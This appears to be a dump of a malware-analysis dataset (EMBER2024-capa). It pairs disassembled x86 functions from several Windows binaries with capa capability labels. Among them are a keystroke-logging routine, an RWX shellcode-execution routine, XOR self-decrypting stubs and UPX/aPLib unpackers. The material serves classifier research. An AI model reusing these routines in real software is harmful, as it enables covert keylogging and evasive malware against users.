joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4086ae
Capabilities:
Get keyboard layout
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
lea ebp, [esp - 0x94]
sub esp, 0x114
mov eax, dword [0x424a00]
xor eax, ebp
mov dword [ebp + 0x90], eax
mov eax, dword [ebp + 0x9c]
or dword [ebp - 0x78], 0xffffffff
push ebx
push esi
push edi
mov dword [ebp - 0x80], eax
xor ebx, ebx
mov esi, 0x423ed8
mov edi, 0x104
push edi
lea eax, [ebp - 0x74]
push 0
push eax
call fcn.0040ca30
lea eax, [esi + 4]
push eax
push dword [ebp - 0x80]
call fcn.0040e3fc
add esp, 0x14
test eax, eax
je 0x408765
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov eax, dword [esi]
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
call fcn.00408689
pop ecx
push 0
push dword [ebp - 0x7c]
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
shl eax, 0x10
lea ecx, [ebx - 0xf]
or eax, 1
cmp ecx, 3
ja 0x408739
or eax, 0x1000000
push edi
lea ecx, [ebp - 0x74]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x80]
call fcn.0040e3fc
test eax, eax
pop ecx
pop ecx
je 0x408765
add esi, 0x18
inc ebx
cmp esi, 0x424508
jl 0x4086e5
jmp 0x408768
mov dword [ebp - 0x78], ebx
mov ecx, dword [ebp + 0x90]
mov eax, dword [ebp - 0x78]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040caaa
add ebp, 0x94
leave
ret

Function at 0x409344
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
call fcn.0040116d
test eax, eax
je 0x4093af
lea eax, [ebp - 4]
push eax
push 0x2001f
push esi
push str.SOFTWAREINTELDISPLAYIGFXCUITVWizard
push SysReAllocString
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], 4
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40939c
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push str.TVWizardSupported
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp dword [ebp - 8], esi
setne al
mov esi, eax
mov eax, esi
pop esi
leave
ret
Function at 0x409f06
Capabilities:
Create process on windows

Disassembly:
push 0x78
mov eax, 0x41b88a
call fcn.0040d22e
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x2d], bl
mov dword [ebp - 0x14], 0xf
call fcn.00401434
push 0x1c
lea eax, [ebp - 0x2c]
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.0040ca30
add esp, 0xc
push str.igfxcfg.exe
lea ecx, [ebp - 0x2c]
call fcn.00401c97
push 0x10
lea eax, [ebp - 0x40]
push ebx
push eax
call fcn.0040ca30
push 0x44
pop esi
push esi
lea eax, [ebp - 0x84]
push ebx
push eax
call fcn.0040ca30
mov eax, dword [ebp - 0x28]
add esp, 0x18
cmp dword [ebp - 0x14], 0x10
mov dword [ebp - 0x84], esi
jae 0x409f78
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x40]
push ecx
lea ecx, [ebp - 0x84]
push ecx
push ebx
push ebx
push 0x4000020
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x409fad
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x40]
call esi
mov byte [ebp - 0x2d], 1
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.004014e0
mov al, byte [ebp - 0x2d]
call fcn.0040d278
ret

Function at 0x40a3be
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x424a00]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0040a353
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0040ca30
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x40a40d
cmp dword [ebp - 0x1c], 5
jb 0x40a425
jmp 0x40a421
cmp dword [ebp - 0x10], 1
jne 0x40a425
cmp dword [ebp - 0x1c], 4
ja 0x40a421
jne 0x40a425
cmp dword [ebp - 0x18], 0
jbe 0x40a425
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x41ce48
call fcn.00404a02
test eax, eax
jge 0x40a446
mov byte [0x425ee0], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040caaa
add ebp, 0x78
leave
ret

Function at 0x40a74c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x426050], 0
push esi
jne 0x40a6bf
call fcn.0040a5ea
test eax, eax
je 0x40a702
mov eax, dword [0x426050]
cmp eax, 1
jne 0x40a6e0
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x40a702
pop esi
ret
push eax
call dword [0x426058]
test eax, eax
jne 0x40a74a
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x40a706
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x426050]
call dword [0x426058]
mov edi, eax
test edi, edi
je 0x40a72d
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x40a749
lea edi, [esi + 0xff0]
push esi
push dword [0x426050]
call dword [0x426054]
add esi, 0x10
cmp esi, edi
jb 0x40a733
mov eax, esi
pop edi
pop esi
ret
jmp 0x40a6ac
Function at 0x40caaa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424a00]
jne 0x40cab4
repz ret
jmp fcn.0040fc4b

Function at 0x416b64
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00410747
xor ebx, ebx
cmp dword [0x426a5c], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x416c39
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x416ba4
xor eax, eax
jmp 0x416cfd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41e954
push edi
call esi
cmp eax, ebx
je 0x416b9d
push eax
call fcn.004106e4
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x426a5c], eax
call esi
push eax
call fcn.004106e4
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x426a60], eax
call esi
push eax
call fcn.004106e4
mov dword [0x426a64], eax
lea eax, [ebp - 8]
push eax
call fcn.00411c9d
test eax, eax
pop ecx
pop ecx
je 0x416c07
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040ccce
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x416c39
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.004106e4
cmp eax, ebx
pop ecx
mov dword [0x426a6c], eax
je 0x416c39
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004106e4
pop ecx
mov dword [0x426a68], eax
mov eax, dword [0x426a68]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x416cb2
cmp dword [0x426a6c], esi
je 0x416cb2
push eax
call fcn.00410750
pop ecx
call eax
cmp eax, ebx
je 0x416c7f
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x426a6c]
call fcn.00410750
pop ecx
call eax
test eax, eax
je 0x416c7f
test byte [ebp - 0x18], 1
jne 0x416cb2
lea eax, [ebp - 0xc]
push eax
call fcn.00411cd4
test eax, eax
pop ecx
je 0x416c9a
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040ccce
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x416ca9
or dword [ebp + 0x10], 0x200000
jmp 0x416ce3
or dword [ebp + 0x10], 0x40000
jmp 0x416ce3
mov eax, dword [0x426a60]
cmp eax, esi
je 0x416ce3
push eax
call fcn.00410750
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x416ce3
mov eax, dword [0x426a64]
cmp eax, esi
je 0x416ce3
push dword [ebp - 4]
push eax
call fcn.00410750
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x426a5c]
call fcn.00410750
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408151
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x408160
pop dword [ebp - 0x24]
mov eax, 0xcc9ff4a0
add eax, 0x33a08cc0
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x3d079
push 0
mov eax, 0x13646c6
sub eax, 0xf3f4ae
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0xee76420f
sub ecx, 0xee75fd17
xor esi, esi
add esi, eax
mov edi, 0xa38aaa47
sub edi, 0xa3475647
add edi, dword [ebp - 0x24]
mov ebx, 0xc0530570
mov edx, dword [edi]
sub dword [ebp - 0x10], eax
xor edx, ebx
xor dword [ebp - 0xc], 0x2807e952
mov dword [esi], edx
xor dword [ebp - 0x1c], 0xa25cb69a
add esi, 4
add edi, 0xa1c170af
sub edi, 0xa1c170ab
loop 0x4081bb
add eax, 0x106b3
xor ebx, ebx
add ebx, eax
add eax, 0xf08b2fbc
add eax, 0xf74d049
mov ecx, 0x46f30c27
sub ecx, 0x46b30c27
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x407ef0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
jmp 0x407f0a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407f11
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f00
mov eax, 1
add ebx, ebx
jne 0x407f23
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407f18
jne 0x407f34
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407f18
xor ecx, ecx
sub eax, 3
jb 0x407f48
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x407fba
mov ebp, eax
add ebx, ebx
jne 0x407f53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407f60
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x407f84
inc ecx
add ebx, ebx
jne 0x407f70
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407f65
jne 0x407f81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407f65
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x407fa4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x407f95
jmp 0x407f06
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x407fa4
add edi, ecx
jmp 0x407f06
pop esi
mov edi, esi
mov ecx, 0x59
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x407fc2
cmp byte [edi], 0
jne 0x407fc2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x407fc7
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x408036
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x81dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x82b8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x407ff4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x82c0]
or eax, eax
je 0x408030
mov dword [ebx], eax
add ebx, 4
jmp 0x408011
call dword [esi + 0x82bc]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x408067
cmp al, 0xef
ja 0x40805a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x40803c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x408049
mov ebp, dword [esi + 0x82c4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40809b
sub esp, 0xffffff80
jmp 0x4012d5
Function at 0x40c838
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00407077
mov dword [ebp - 0x14], eax
cmp dword [0x4add54], esi
jne 0x40c92b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40c8b8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40ca0b
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40ca0b
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40ca0b
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4add54], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4add58], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4add5c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4add64], eax
test eax, eax
je 0x40c928
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4add60], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40c950
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40c943
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40c965
push 4
pop eax
jmp 0x40ca0d
cmp dword [ebp - 0x14], esi
je 0x40c965
push dword [0x4add54]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40c94a
mov eax, dword [0x4add60]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40c9c3
cmp dword [0x4add64], edi
je 0x40c9c3
push eax
call ebx
push dword [0x4add64]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40c9c3
test eax, eax
je 0x40c9c3
call ecx
test eax, eax
je 0x40c9b8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40c9b8
test byte [ebp - 8], 1
jne 0x40c9c3
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40c9f3
mov eax, dword [0x4add58]
cmp eax, edi
je 0x40c9f0
push eax
call ebx
test eax, eax
je 0x40c9f0
call eax
mov esi, eax
test esi, esi
je 0x40c9f0
mov eax, dword [0x4add5c]
cmp eax, edi
je 0x40c9f0
push eax
call ebx
test eax, eax
je 0x40c9f0
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4add54]
call ebx
test eax, eax
je 0x40ca0b
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40ca0d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403f8b
mov esp, ebp
pop ebp
ret
Function at 0x900058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x9001a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x90007e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x90006a
add dl, dl
jne 0x900089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9000dc
xor eax, eax
add dl, dl
jne 0x900096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x90017d
add dl, dl
jne 0x9000a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9000b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9000bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9000c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x9000d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x900075
mov eax, 1
add dl, dl
jne 0x9000ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9000f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9000e1
sub eax, ebx
mov ebx, 1
jne 0x900128
mov ecx, 1
add dl, dl
jne 0x90010e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x900119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x900105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x900075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x90013f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x90014a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x900136
cmp eax, 0x7d00
jae 0x90016d
cmp eax, 0x500
jb 0x900168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x900075
cmp eax, 0x7f
ja 0x900170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x900075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x90019e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x900075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0xb24c90
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.sect_1
lea edi, [esi - 0x5cc000]
push edi
jmp 0xb24caa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xb24cb1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb24ca0
mov eax, 1
add ebx, ebx
jne 0xb24cc3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xb24cd4
jne 0xb24cf3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb24cf3
dec eax
add ebx, ebx
jne 0xb24ce0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xb24cb8
add ebx, ebx
jne 0xb24cef
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xb24d45
xor ecx, ecx
sub eax, 3
jb 0xb24d0b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xb24d7a
sar eax, 1
mov ebp, eax
jmp 0xb24d16
add ebx, ebx
jne 0xb24d16
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb24ce4
inc ecx
add ebx, ebx
jne 0xb24d24
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb24ce4
add ebx, ebx
jne 0xb24d31
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xb24d26
jne 0xb24d42
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xb24d26
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xb24d64
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xb24d56
jmp 0xb24ca6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xb24d64
add edi, ecx
jmp 0xb24ca6
pop esi
mov edi, esi
mov ecx, 0x8a4e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xb24d82
cmp byte [edi], 0x1d
jne 0xb24d82
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xb24d87
lea edi, [esi + 0x721000]
mov eax, dword [edi]
or eax, eax
je 0xb24df6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x7328d0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x732a1c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xb24db4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x732a24]
or eax, eax
je 0xb24df0
mov dword [ebx], eax
add ebx, 4
jmp 0xb24dd1
call dword [esi + 0x732a20]
mov ebp, dword [esi + 0x732a28]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1bf]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0x724e51]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xb24e42
sub esp, 0xffffff80
jmp 0x401320
Function at 0x4092d0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43360d
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x441040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], ebx
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], 0
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.00406840
cmp dword [ebp - 0x14], 7
lea eax, [ebp - 0x28]
push 0
cmova eax, dword [ebp - 0x28]
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp - 0x14]
mov esi, eax
cmp ecx, 7
jbe 0x409395
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40938b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409492
push ecx
push edx
call fcn.00413ed4
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
cmp esi, 0xffffffff
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmove esi, eax
mov dword [ebp - 0x30], esi
test esi, esi
je 0x409497
push eax
push esi
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp dword [ebx], 0
mov edi, eax
mov dword [ebp - 0x2c], edi
jne 0x409409
push edi
call fcn.004141ca
mov edx, eax
lea ecx, [ebp - 0x38]
lea eax, [ebx + 8]
add esp, 4
cmp eax, ecx
je 0x4093fb
mov ecx, dword [eax]
mov dword [eax], edx
test ecx, ecx
je 0x409404
push ecx
call fcn.00413d85
add esp, 4
mov dword [ebx + 4], edi
jmp 0x409451
push edx
call fcn.00413d85
add esp, 4
mov dword [ebx + 4], edi
jmp 0x409451
cmp edi, dword [ebx + 4]
jbe 0x409451
push edi
call fcn.004141ca
mov dword [ebp - 0x30], eax
lea edx, [ebx + 8]
mov ecx, eax
add esp, 4
lea eax, [ebp - 0x3c]
cmp edx, eax
je 0x409441
mov eax, dword [edx]
xor ecx, ecx
mov edi, dword [ebp - 0x30]
mov dword [edx], edi
mov edi, dword [ebp - 0x2c]
test eax, eax
je 0x409441
push eax
call fcn.00413d85
mov dword [ebx + 4], edi
jmp 0x40944e
mov dword [ebx + 4], edi
test ecx, ecx
je 0x409451
push ecx
call fcn.00413d85
add esp, 4
push 0
lea eax, [ebp - 0x2c]
mov dword [ebx], edi
push eax
push edi
push dword [ebx + 8]
mov dword [ebp - 0x2c], 0
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00413d77
mov esp, ebp
pop ebp
ret 8
call fcn.00418ada
push str.Create_File_Error_
lea ecx, [ebp - 0x48]
call fcn.00401250
push 0x440674
lea eax, [ebp - 0x48]
push eax
call fcn.00415440
int3